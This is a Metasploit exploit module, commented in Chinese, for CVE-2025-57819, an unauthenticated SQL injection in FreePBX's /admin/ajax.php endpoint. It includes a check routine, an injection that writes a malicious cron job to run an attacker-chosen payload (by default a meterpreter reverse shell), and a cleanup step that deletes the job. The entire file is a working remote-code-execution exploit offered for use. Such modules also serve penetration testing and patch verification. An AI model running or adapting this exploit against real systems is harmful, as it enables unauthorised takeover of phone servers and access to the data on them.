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class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreePBX ajax.php unuthenticated SQLi to RCE',
        'Description' => %q{
          该模块利用FreePBX中未授权的SQL注入漏洞。漏洞位于/admin/ajax.php端点，
          无需认证即可访问。FreePBX创建的数据库用户可调度cronjob，从而在目标系统上实现远程代码执行。
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Echo_Slow', # msf模块
          'Piotr Bazydlo', # 用作模板的POC
          'Sonny' # 用作模板的POC
        ],
        'References' => [
          ['CVE', '2025-57819'],
          ['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/']
        ],
        'Platform' => ['linux'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Unix Command',
            {
              'DefaultOptions' =>
              {
                'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
                'WfsDelay' => 70 # cronjob可能需最多一分钟启动
              }
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2025-08-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [false, 'FreePBX安装路径', '/'])
    ])
  end

  def check
    print_status('检查漏洞是否存在...')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'vars_get' => {
        'module' => 'FreePBX\\modules\\endpoint\\ajax',
        'command' => 'model',
        'template' => Rex::Text.rand_text_alphanumeric(3..6),
        'model' => Rex::Text.rand_text_alphanumeric(3..6),
        'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'"
      }
    )

    if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/
      return Exploit::CheckCode::Vulnerable('检测到SQL注入')
    end
    Exploit::CheckCode::Safe('未检测到SQL注入，目标已修复')
  end

  def exploit
    module_name = Rex::Text.rand_text_alpha(4..7)
    @job_name = Rex::Text.rand_text_alpha(4..7)

    rce_payload = Rex::Text.rand_text_alpha(4..7)
    rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)"
    rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- "

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'vars_get' => {
        'module' => 'FreePBX\\modules\\endpoint\\ajax',
        'command' => 'model',
        'template' => Rex::Text.rand_text_alphanumeric(3..6),
        'model' => Rex::Text.rand_text_alphanumeric(3..6),
        'brand' => rce_payload
      }
    )

    if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
      print_good("已创建cronjob，任务名：'#{@job_name}'")
      print_status('等待cronjob触发...')
    else
      fail_with(Failure::PayloadFailed, 'Cronjob创建失败')
    end
  end

  def cleanup
    super
    return unless @job_name

    # 清理创建的cronjob
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
      'vars_get' => {
        'module' => 'FreePBX\\modules\\endpoint\\ajax',
        'command' => 'model',
        'template' => Rex::Text.rand_text_alphanumeric(3..6),
        'model' => Rex::Text.rand_text_alphanumeric(3..6),
        'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- "
      }
    )

    print_status('尝试执行清理操作')
    if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
      print_good('Cronjob已移除，黑客愉快！')
    else
      print_bad('Cronjob移除失败，请手动清理！')
    end
  end
end